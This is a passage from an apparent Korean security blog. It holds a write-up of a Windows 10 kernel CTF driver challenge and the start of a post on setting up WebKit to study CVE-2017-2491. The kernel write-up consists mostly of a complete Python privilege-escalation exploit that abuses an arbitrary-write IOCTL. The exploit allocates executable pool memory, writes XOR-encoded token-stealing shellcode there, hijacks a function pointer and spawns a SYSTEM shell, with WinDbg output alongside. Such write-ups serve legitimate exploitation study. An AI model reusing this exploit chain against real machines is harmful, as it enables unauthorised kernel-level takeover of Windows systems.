<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE3</span><span class="p">,</span> <span class="n">securedrv_addr</span><span class="o">+</span><span class="mh">0x4050</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>

<span class="s">'''
SecureDrv+0x11e3:
fffff803`074311e3 ff153f0e0000    call    qword ptr [SecureDrv+0x2028 (fffff803`07432028)]
0: kd&gt; r rcx,rdx,r8
rcx=fffff80307434050 rdx=0000000000000000 r8=0000000000000001
0: kd&gt; dqs fffff803`07432028 l1
fffff803`07432028  fffff803`06868db0 nt!ProbeForWrite
....
SecureDrv+0x120d:
fffff803`0743120d e8ae010000      call    SecureDrv+0x13c0 (fffff803`074313c0) &lt;- memcpy()
1: kd&gt; r rcx,rdx,r8
rcx=fffff80307434050 rdx=fffff80307433050 r8=0000000000000008
1: kd&gt; dqs @rdx l1
fffff803`07433050  41414141`41414141
'''</span>
</code></pre></div></div>

<p>그런데 만약 이 취약점을 사용할 경우, <code class="language-plaintext highlighter-rouge">kernel_to_user_handler()</code>에서 <code class="language-plaintext highlighter-rouge">user_msg_len</code>의 값이 <code class="language-plaintext highlighter-rouge">0xFFFFFFFF</code>가 되기 때문에 항상 <code class="language-plaintext highlighter-rouge">kernel_msg_len</code>의 값이 <code class="language-plaintext highlighter-rouge">memcpy()</code> 함수의 3번째 인자로 사용됩니다. <code class="language-plaintext highlighter-rouge">kernel_msg_len</code>은 <code class="language-plaintext highlighter-rouge">kernel_msg</code>에 보관된 값이 문자열이라고 가정한 상태에서 길이를 계산하기 때문에, 임의의 주소에 쓰고자 하는 값 중간에 NULL 바이트가 들어가지 않도록 유의해야 합니다.</p>

<p>어쨌든 이제 AAW( Arbitrary Address Write )가 가능한 취약점을 찾았으니 본격적인 공격단계로 넘어가 보겠습니다.</p>

<h1 id="4-익스플로잇">4. 익스플로잇</h1>
<p>분석 단계에서 설명드린 것처럼 취약점 자체는 간단하기 때문에, 익스플로잇 과정을 좀 더 상세하게 다뤄보겠습니다.</p>

<p>우선 Windows 10 커널엔 여러 mitigation들이 있는데, 그 중에서 제가 알고있는 것들을 나열해보면 다음과 같습니다:</p>
<ul>
  <li>
    <p><a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/b91c324/Exploit/Common.c#L263-L302">0x0 주소 mapping</a> 불가<br />
<img src="/assets/images/babykernel-pic3.png" alt="null mapping failed" /></p>
  </li>
  <li>
    <p><a href="https://en.wikipedia.org/wiki/Control_register#SMEP">SMEP</a>로 인해 Kernel-Land( Ring-0 )에서 User-Land( Ring-3 )의 코드를 실행할 수 없음</p>
  </li>
  <li><a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html">NtQueryIntervalProfile()</a>에서 <code class="language-plaintext highlighter-rouge">HalDispatchTable</code>에 보관된 주소값을 참조해 호출하는 부분에 <a href="https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard">Control Flow Guard</a>가 추가됨
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0: kd&gt; u nt!KeQueryIntervalProfile l10
nt!KeQueryIntervalProfile:
fffff803`068d3b74 4883ec58        sub     rsp,58h
fffff803`068d3b78 83f901          cmp     ecx,1
fffff803`068d3b7b 7436            je      nt!KeQueryIntervalProfile+0x3f (fffff803`068d3bb3)
fffff803`068d3b7d 488b0504e4d3ff  mov     rax,qword ptr [nt!HalDispatchTable+0x8 (fffff803`06611f88)]
fffff803`068d3b84 4c8d4c2460      lea     r9,[rsp+60h]
fffff803`068d3b89 ba18000000      mov     edx,18h
fffff803`068d3b8e 894c2430        mov     dword ptr [rsp+30h],ecx
fffff803`068d3b92 4c8d442430      lea     r8,[rsp+30h]
fffff803`068d3b97 8d4ae9          lea     ecx,[rdx-17h]
fffff803`068d3b9a e8e1e5afff      call    nt!guard_dispatch_icall (fffff803`063d2180)
....
</code></pre></div>    </div>
  </li>
  <li>
    <p>Integrity level이 low인 프로세스는 NtQuerySystemInformation(), EnumDeviceDrivers()와 같은 <a href="http://www.alex-ionescu.com/?p=82">KASLR Bypass에 사용될 수 있는 함수들을 호출할 수 없음</a></p>
  </li>
  <li>ETC…</li>
</ul>

<p>이외에도 더 있을텐데, 제가 아는 선에선 이게 끝입니다.</p>

<p>보통 Windows 커널 익스플로잇은 PID가 항상 4로 고정되어 있는 SYSTEM 프로세스의 <a href="https://blahcat.github.io/2017/08/14/a-primer-to-windows-x64-shellcoding/">Token을 훔쳐오는 쉘코드를 실행하는 형태</a>로 이루어집니다.</p>

<p>Token이란 <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens">현재 프로세스 혹은 스레드의 권한을 정의하는 객체</a>를 의미하는데, 현재 Windows에 상에서 동작하는 모든 프로세스들은 <a href="https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1809%20Redstone%205%20(October%20Update)/_EPROCESS">_EPROCESS 객체</a>의 double linked list 형태로 관리되며 Token 역시 이 객체안에 보관됩니다. Windows 커널 익스플로잇을 위한 쉘코드는 이 <code class="language-plaintext highlighter-rouge">_EPROCESS</code> 객체의 double linked list를 순회하며 SYSTEM 프로세스를 찾는 방식으로 동작합니다.</p>

<p>저는 이미 KePwnLib.py에 <code class="language-plaintext highlighter-rouge">tokenStealingShellcodeForWin10_1809</code>란 이름으로 정의해둔 쉘코드를 사용했는데, 중간에 NULL가 들어가지 않도록 간단한 XOR encoder를 가지고 아래와 같은 익스플로잇 코드를 작성했습니다.</p>

<p>( 그리고 이유는 알 수 없지만, 분명 <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/no-execute-nonpaged-pool?redirectedfrom=MSDN">NonPagedPool 객체 영역은 실행권한이 없다</a>고 알고 있었는데 <code class="language-plaintext highlighter-rouge">ExAllocatePoolWithTag(NonPagedPool, 0x1000)</code>으로 할당한 영역에 RWX 권한이 있었습니다 )</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">KePwnLib</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>

<span class="n">BABY_IOCTL_CODE1</span> <span class="o">=</span> <span class="mh">0x226203</span> <span class="c1"># user -&gt; kernel
</span><span class="n">BABY_IOCTL_CODE2</span> <span class="o">=</span> <span class="mh">0x226207</span> <span class="c1"># kernel -&gt; user
</span><span class="n">BABY_IOCTL_CODE3</span> <span class="o">=</span> <span class="mh">0x22620B</span> <span class="c1"># jmp to handler
</span>
<span class="n">DRIVER_NAME</span> <span class="o">=</span> <span class="s">"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">SecureStorage"</span>
<span class="n">DEVICE_NAME</span> <span class="o">=</span> <span class="s">"SecureDrv"</span>

<span class="n">ExAllocatePoolWithTag_offset</span> <span class="o">=</span> <span class="mh">0x348030</span>
<span class="n">func_ptr_offset</span> <span class="o">=</span> <span class="mh">0x4050</span>

<span class="c1"># edit for exploit
</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
	<span class="n">HANDLE</span><span class="p">,</span>
	<span class="n">DWORD</span><span class="p">,</span>
	<span class="n">c_ulonglong</span><span class="p">,</span> <span class="c1"># LPVOID,
</span>	<span class="n">DWORD</span><span class="p">,</span>
	<span class="n">LPVOID</span><span class="p">,</span>
	<span class="n">DWORD</span><span class="p">,</span>
	<span class="n">POINTER</span><span class="p">(</span><span class="n">DWORD</span><span class="p">),</span>
	<span class="n">LPVOID</span>
<span class="p">]</span>

<span class="c1"># for shellcode without NULL byte
</span><span class="k">def</span> <span class="nf">xored_shellcode</span><span class="p">(</span><span class="n">sc</span><span class="p">):</span>
    <span class="n">xor_byte</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">256</span><span class="p">):</span>
        <span class="n">xored_sc</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="o">^</span> <span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">sc</span><span class="p">)</span>
        <span class="k">if</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">xored_sc</span><span class="p">:</span>
            <span class="n">xor_byte</span> <span class="o">=</span> <span class="n">i</span>
            <span class="k">break</span>

    <span class="n">decoder</span> <span class="o">=</span> <span class="s">""</span>
    <span class="n">decoder</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x48\x31\xc9</span><span class="s">"</span> <span class="c1"># xor rcx, rcx
</span>    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">xored_sc</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mh">0x100</span><span class="p">:</span>
        <span class="n">decoder</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xb1</span><span class="s">"</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xored_sc</span><span class="p">))</span>      <span class="c1"># mov cl, len(xored_sc)
</span>    <span class="k">elif</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xored_sc</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">xored_sc</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="mh">0x90</span> <span class="o">^</span> <span class="n">xor_byte</span><span class="p">)</span>
        <span class="n">decoder</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x66\xB9</span><span class="s">"</span> <span class="o">+</span> <span class="n">p16</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xored_sc</span><span class="p">))</span> <span class="c1"># mov cx, len(xored_sc)
</span>    <span class="k">else</span><span class="p">:</span>
        <span class="n">decoder</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x66\xB9</span><span class="s">"</span> <span class="o">+</span> <span class="n">p16</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xored_sc</span><span class="p">))</span> <span class="c1"># mov cx, len(xored_sc)
</span>
    <span class="n">xor_start</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">pusha</span><span class="p">())</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">decoder</span><span class="p">)</span> <span class="o">+</span> <span class="mi">14</span>
    
    <span class="c1"># decode_loop:
</span>    <span class="n">decoder</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x8a\x58</span><span class="s">"</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="n">xor_start</span><span class="p">)</span> <span class="c1"># mov bl, byte ptr[rax+xor_start]
</span>    <span class="n">decoder</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x80\xf3</span><span class="s">"</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="n">xor_byte</span><span class="p">)</span>  <span class="c1"># xor bl, xor_byte
</span>    <span class="n">decoder</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x88\x58</span><span class="s">"</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="n">xor_start</span><span class="p">)</span> <span class="c1"># mov byte ptr[rax+xor_start], bl
</span>    <span class="n">decoder</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x48\xFF\xC0</span><span class="s">"</span>             <span class="c1"># inc rax
</span>    <span class="n">decoder</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xE2\xF2</span><span class="s">"</span>                 <span class="c1"># loop decode_loop
</span>    
    <span class="n">result</span> <span class="o">=</span> <span class="s">""</span>
    <span class="n">result</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span>     <span class="c1"># NonPagedPool object address always like 0xXXXX~00, need to terminate that NULL
</span>    <span class="n">result</span> <span class="o">+=</span> <span class="n">pusha</span><span class="p">()</span>    <span class="c1"># pusha code for register backup before XOR decoding
</span>    <span class="n">result</span> <span class="o">+=</span> <span class="n">decoder</span>
    <span class="n">result</span> <span class="o">+=</span> <span class="n">xored_sc</span>
    <span class="n">result</span> <span class="o">+=</span> <span class="n">popa</span><span class="p">()</span>     <span class="c1"># popa code for register restore after XOR decoding
</span>    <span class="n">result</span> <span class="o">+=</span> <span class="n">return_0</span><span class="p">()</span>

    <span class="k">return</span> <span class="n">result</span>


<span class="n">hDriver</span> <span class="o">=</span> <span class="n">DriverConnect</span><span class="p">(</span><span class="n">DRIVER_NAME</span><span class="p">)</span>
<span class="k">if</span> <span class="n">hDriver</span> <span class="o">==</span> <span class="n">NULL</span><span class="p">:</span>
	<span class="k">print</span> <span class="s">"[!] cannot create kernel driver handler"</span>
	<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>

<span class="k">print</span> <span class="s">"[+] %s handler = 0x%x"</span> <span class="o">%</span> <span class="p">(</span><span class="n">DRIVER_NAME</span><span class="p">,</span> <span class="n">hDriver</span><span class="p">)</span>
<span class="n">securedrv_addr</span> <span class="o">=</span> <span class="n">GetDeviceBase</span><span class="p">(</span><span class="n">DEVICE_NAME</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"[+] %s base address = 0x%016x"</span> <span class="o">%</span> <span class="p">(</span><span class="n">DEVICE_NAME</span><span class="p">,</span> <span class="n">securedrv_addr</span><span class="p">)</span>
<span class="n">allocpool_addr</span> <span class="o">=</span> <span class="n">GetKernelBase</span><span class="p">()</span> <span class="o">+</span> <span class="n">ExAllocatePoolWithTag_offset</span>
<span class="k">print</span> <span class="s">"[+] nt!ExAllocatePoolWithTag = 0x%016x"</span> <span class="o">%</span> <span class="p">(</span><span class="n">allocpool_addr</span><span class="p">)</span>
<span class="n">func_ptr_addr</span> <span class="o">=</span> <span class="n">securedrv_addr</span> <span class="o">+</span> <span class="n">func_ptr_offset</span>
<span class="k">print</span> <span class="s">"[+] SecureDrv!func_ptr = 0x%016x"</span> <span class="o">%</span> <span class="n">func_ptr_addr</span>

<span class="n">dwRet</span> <span class="o">=</span> <span class="n">DWORD</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE1</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>

<span class="n">buf</span> <span class="o">=</span> <span class="n">create_string_buffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">)</span>
<span class="n">memmove</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">allocpool_addr</span><span class="p">),</span> <span class="mi">8</span><span class="p">)</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE3</span><span class="p">,</span> <span class="n">addressof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="mi">8</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>

<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE2</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE3</span><span class="p">,</span> <span class="n">func_ptr_addr</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>

<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">addressof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="mi">8</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">pool_addr</span> <span class="o">=</span> <span class="n">up64</span><span class="p">(</span><span class="n">buf</span><span class="p">[:</span><span class="mi">8</span><span class="p">])</span>
<span class="k">print</span> <span class="s">"[+] NonPagedPool object = 0x%016x"</span> <span class="o">%</span> <span class="n">pool_addr</span>

<span class="c1"># write shellcode into NonPagedPool Object
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="n">tokenStealingShellcodeForWin10_1809</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="n">xored_shellcode</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>
<span class="n">memmove</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE1</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE3</span><span class="p">,</span> <span class="n">addressof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE2</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE3</span><span class="p">,</span> <span class="n">pool_addr</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>

<span class="c1"># jmp to overwritten NonPagedPool Object
</span><span class="nb">raw_input</span><span class="p">(</span><span class="s">"gogo? "</span><span class="p">)</span>
<span class="n">memmove</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">pool_addr</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="mi">8</span><span class="p">)</span> <span class="c1"># plus 1 to terminate last NULL byte
</span><span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE1</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE3</span><span class="p">,</span> <span class="n">addressof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="mi">8</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE2</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE3</span><span class="p">,</span> <span class="n">func_ptr_addr</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE3</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>

<span class="n">popCMD</span><span class="p">()</span>

<span class="c1"># python -m PyInstaller --onefile -a -n baby_exploit ex.py
</span></code></pre></div></div>
<p><img src="/assets/images/babykernel-pic.gif" alt="profit" /></p>

<h1 id="5-후기">5. 후기</h1>
<p>취약점 자체는 매우 쉽고 금방 찾을 수 있는데다, <a href="https://cwe.mitre.org/data/definitions/123.html">Write-What-Where</a>가 가능하기 때문에 익스플로잇도 그렇게 큰 수고를 들이지 않고 할 수 있었습니다.</p>

<p>제가 처음 Windows Kernel에 관심을 가지게 된건 사이버공격방어대회 2019( 통칭 CCE2019 ) 예선에서 <strong>babywkernel</strong>이란 Windows 7 커널 문제를 풀고나서 였습니다. 그 전까지는 To-Do 목록에 있는 <a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver">HEVD</a>나 가끔 보면서 큰 관심을 가지지 않았었는데, 이게 문제로 나오니까 거의 하루종일 헤매긴 했지만 막상 풀어보니 재밌었습니다.</p>

<p><a href="https://gist.github.com/y0ny0ns0n/0155aa05b1f4ec40d8c3bd2eca7f0cc2">익스플로잇 코드</a>도 지금 보면 거의 대회종료시간 직전에 작성해서 reliable하지도 않고 2번째 실행하면 무조건 BSOD를 띄웁니다.</p>

<p>그 뒤로 한동안 공부를 못하다 잠시 시간이 나서 이번에 간단한 문제를 하나 풀어봤는데 나름(?) 괜찮았습니다.</p>

<p>이 문제는 취약점이 너무 간단해 실제 비슷한 사례는 Real-World에 없겠지만, 다른 문서들을 보면 이제 공부를 시작한 입장으로서 여러 신기한 것들을 많이 찾을 수 있었습니다.</p>

<p>예를 들어,</p>

<ol>
  <li><a href="https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-createpipe">CreatePipe()</a>로 생성한 <a href="https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes">Named Pipe</a>에 값을 쓰면 NonPagedPool 객체에 들어간다 <a href="http://www.alex-ionescu.com/?p=231">link</a>.</li>
  <li><code class="language-plaintext highlighter-rouge">win32kbase!NtGdiDdDDIGetContextSchedulingPriority</code> 같이 상대적으로 잘 사용되지 않는 syscall 함수를 덮어씌워 사용할 수 있다 <a href="https://gist.github.com/j00ru/2347cf937366e61598d1140c31262b18#file-wctf_2018_searchme_exploit-cpp-L382-L396">link</a>.</li>
  <li><code class="language-plaintext highlighter-rouge">SEP_TOKEN_PRIVILEGES</code> 구조체를 덮어씌워 SYSTEM 권한을 가진 프로세스에 코드를 삽입할 수 있다 <a href="https://labs.bluefrostsecurity.de/publications/2016/01/07/exploiting-cve-2014-4113-on-windows-8.1">link</a>.</li>
  <li>ETC…</li>
</ol>

<p>TL;DR. Windows Kernel 생각보다 재밌습니다 ㅎ.</p>

<h1 id="6-참고자료">6. 참고자료</h1>

<p>CVE-2019-1215( UAF in ws2ifsl.sys ) root-cause analysis on Windows 10 19H1 (1903) x64</p>
<ul>
  <li>https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/</li>
</ul>

<p>Windows kernel Heap Fengshui</p>
<ul>
  <li>http://www.alex-ionescu.com/?p=231</li>
</ul>

<p>KASLR Bypass Mitigations in Windows</p>
<ul>
  <li>http://www.alex-ionescu.com/?p=82</li>
</ul>

<p>WCTF2018 - searchme writeup</p>
<ul>
  <li>https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/</li>
</ul>

<p>Windows 10 kernel exploitation technique</p>
<ul>
  <li>https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf</li>
</ul>

<p>NonPagedPool and PagedPool</p>
<ul>
  <li>https://techcommunity.microsoft.com/t5/windows-blog-archive/pushing-the-limits-of-windows-paged-and-nonpaged-pool/ba-p/723789</li>
</ul>]]></content><author><name>y0ny0ns0n</name></author><category term="blog" /><category term="kernel" /><summary type="html"><![CDATA[작성 - y0ny0ns0n @ null2root]]></summary></entry><entry><title type="html">CVE-2017-2491 삽질기</title><link href="https://null2root.github.io/blog/2019/05/28/CVE-2017-2491-digging.html" rel="alternate" type="text/html" title="CVE-2017-2491 삽질기" /><published>2019-05-28T00:40:00+00:00</published><updated>2019-05-28T00:40:00+00:00</updated><id>https://null2root.github.io/blog/2019/05/28/CVE-2017-2491-digging</id><content type="html" xml:base="https://null2root.github.io/blog/2019/05/28/CVE-2017-2491-digging.html"><![CDATA[<p>작성 - LiLi, y0ny0ns0n, powerprove, cheese @ null2root</p>

<h1 id="목차">목차</h1>
<ol>
  <li><a href="#1-소개">소개</a></li>
  <li><a href="#2-환경-구축">환경 구축</a></li>
  <li><a href="#3-분석">분석</a></li>
  <li><a href="#4-난관">난관</a></li>
  <li><a href="#5-후기">후기</a></li>
</ol>

<h1 id="1-소개">1. 소개</h1>

<p>Case-Study의 주제 중 하나였던 <a href="https://null2root.github.io/blog/2019/04/06/Pwn2Own-2017-cachedcall-kor.html">CachedCall 취약점</a>입니다. cve 넘버는 <a href="https://vulmon.com/vulnerabilitydetails?qid=CVE-2017-2491&amp;scoretype=cvssv2">CVE-2017-2491 / ZDI-17-231</a>이며, <a href="https://twitter.com/5aelo">Samuel Groß</a>과 <a href="https://twitter.com/_niklasb">Niklas Baumstark</a>이 연구해 Pwn2Own 2017 에서 제보한 취약점입니다.</p>

<p>패치되기 전 Commit: <a href="https://github.com/WebKit/webkit/commit/498268047e19b5e310afe767cf21b061a79ea780">498268047e19b5e310afe767cf21b061a79ea780</a><br />
패치된 후 Commit: <a href="https://github.com/WebKit/webkit/commit/7d1b3b9542d9870b8524f284e108bea56397bd3a">7d1b3b9542d9870b8524f284e108bea56397bd3a</a></p>

<p>버그에 대한 자세한 설명은 번역문서를 참고하시길 바랍니다.</p>

<h1 id="2-환경-구축">2. 환경 구축</h1>

<p><a href="https://null2root.github.io/blog/2019/04/09/CVE-2016-4622-digging.html">CVE-2016-4622를 분석할 때</a>와 동일하게 Xcode 7.3.1이 설치된 OS X EI Captian 10.11.4 가상머신을 사용했습니다.</p>

<p>우선 취약한 버전에 해당하는 WebKit 버전을 가져옵니다:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git clone git://git.webkit.org/WebKit.git WebKit
.....
<span class="nv">$ </span><span class="nb">cd </span>WebKit
<span class="nv">$ </span>git reset <span class="nt">--hard</span> 4982680 <span class="c"># or git checkout 4982680</span>
</code></pre></div></div>

<p>보다 더 쉬운 분석을 위해 <a href="https://github.com/WebKit/webkit/blob/4982680/Source/JavaScriptCore/jsc.cpp#L1701">Source/JavaScriptCore/jsc.cpp</a> 에 있는 printInternal() 함수에 인자값 주소를 출력하는 코드를 추가했습니다:</p>
